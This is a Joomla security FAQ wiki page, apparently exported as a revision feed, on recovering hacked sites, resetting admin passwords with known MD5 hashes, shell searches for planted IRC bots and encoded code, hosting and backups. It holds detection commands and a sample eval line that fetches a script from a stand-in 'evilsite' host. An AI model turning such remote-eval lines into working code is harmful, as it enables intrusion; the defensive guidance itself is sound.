== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62370</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62370"/>
		<updated>2011-09-26T23:00:56Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Edited by */ wikipage check history&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:&#039;&#039;&#039;  If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
